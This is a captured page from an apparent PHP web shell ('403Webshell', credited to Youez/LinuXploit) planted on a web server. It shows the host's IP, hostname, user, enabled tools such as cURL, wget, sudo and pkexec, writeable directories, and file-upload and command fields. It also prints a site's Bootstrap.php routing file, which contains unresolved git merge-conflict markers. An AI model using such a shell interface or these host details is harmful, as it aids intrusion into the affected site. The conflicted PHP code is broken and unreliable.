403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/c.pacim.de/web/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/c.pacim.de/web/app/Bootstrap.php
<?php

declare(strict_types=1);

namespace App;

use App\Controllers\ApiController;
use App\Controllers\BookingController;
use App\Controllers\CruiseController;
use App\Controllers\CustomerController;
use App\Controllers\DashboardController;
use App\Controllers\InvoiceController;
use App\Controllers\ProductController;
<<<<<<< HEAD
use App\Controllers\SettingsController;
=======
>>>>>>> origin/main

final class Bootstrap
{
    public static function run(): void
    {
        Config::load(__DIR__ . '/../config/config.php');
        date_default_timezone_set((string) Config::get('app.timezone', 'UTC'));

        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }

        require_once __DIR__ . '/Helpers/helpers.php';

        set_exception_handler(static function (\Throwable $e): void {
            error_log($e->__toString());
            http_response_code(500);
            echo Config::get('app.debug') ? e($e->getMessage()) : 'Interner Serverfehler';
        });

        $router = new Router();

        $router->get('/', [DashboardController::class, 'index']);
        $router->get('/dashboard', [DashboardController::class, 'index']);
        $router->get('/checkin', [BookingController::class, 'checkin']);

        $router->get('/bookings', [BookingController::class, 'index']);
        $router->get('/bookings/show', [BookingController::class, 'show']);
        $router->get('/bookings/edit', [BookingController::class, 'edit']);

        $router->get('/customers', [CustomerController::class, 'index']);
<<<<<<< HEAD
        $router->get('/customer', [CustomerController::class, 'index']);
        $router->get('/cruises', [CruiseController::class, 'index']);
        $router->get('/cruise', [CruiseController::class, 'index']);
        $router->get('/invoices', [InvoiceController::class, 'index']);
        $router->get('/invoice', [InvoiceController::class, 'index']);
        $router->get('/products', [ProductController::class, 'index']);
        $router->get('/product', [ProductController::class, 'index']);
        $router->get('/settings', [SettingsController::class, 'index']);
        $router->get('/settings/users', [SettingsController::class, 'index']);
=======
        $router->get('/cruises', [CruiseController::class, 'index']);
        $router->get('/invoices', [InvoiceController::class, 'index']);
        $router->get('/products', [ProductController::class, 'index']);
>>>>>>> origin/main

        $router->get('/api/bookings/search', [ApiController::class, 'bookingsSearch']);
        $router->get('/api/checkin/search', [ApiController::class, 'checkinSearch']);
        $router->post('/api/bookings/update', [ApiController::class, 'bookingsUpdate']);
        $router->post('/api/bookings/checkin', [ApiController::class, 'bookingsCheckin']);
        $router->post('/api/bookings/checkout', [ApiController::class, 'bookingsCheckout']);
        $router->post('/api/bookings/status', [ApiController::class, 'bookingsStatus']);
        $router->post('/api/bookings/note', [ApiController::class, 'bookingsNote']);
        $router->get('/api/customers/search', [ApiController::class, 'customersSearch']);
        $router->get('/api/cruises/list', [ApiController::class, 'cruisesList']);
        $router->post('/api/invoices/status', [ApiController::class, 'invoicesStatus']);
        $router->post('/api/payments/create', [ApiController::class, 'paymentsCreate']);
<<<<<<< HEAD
        $router->post('/api/users/save', [ApiController::class, 'usersSave']);
=======
>>>>>>> origin/main

        $router->dispatch($_SERVER['REQUEST_METHOD'], $_SERVER['REQUEST_URI']);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit